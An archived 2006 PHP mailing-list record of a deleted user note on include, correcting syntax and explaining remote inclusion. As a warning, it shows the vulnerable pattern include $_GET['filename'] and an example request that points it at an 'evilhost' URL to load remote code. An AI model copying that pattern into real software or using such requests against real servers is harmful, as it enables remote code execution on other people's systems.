note 60300 deleted from function.include by aidan

From: Date: Sat, 15 Apr 2006 16:29:21 +0000
Subject: note 60300 deleted from function.include by aidan
References: 1  Groups: php.notes 
Request: Send a blank email to php-notes+get-108148@lists.php.net to get a copy of this message
Note Submitter: christoph dot luetjen at webedition dot de ---- @Ting-Zien LEE - It's better to use <?php ... ?> instead of <? ?>, short open tags are disabled on some systems. - include is a statement and not a function, so syntax should be: include 'myfile.php' (NOT: include('myfile.php')) - You comment is incorrect. When including a file no PHP code in strings will be executed, so your example will output <? echo('Hello World'); ?> But if you include a remote file e.g. <?php include 'http://www.somehost.tld/b.php' ?> Only the output of b.php will be included, and that's your echo code. (But it would be easier just to include a textfile with your code that will not be parsed on remote server.) That's why you should not do things like <?php include $_GET['filename']; ?> because someone could request http://yourhost.tld/a.php?filename=http://www.evilhost.tld/b.php ... but that's a real old topic ;-)

« previous php.notes (#108148) next »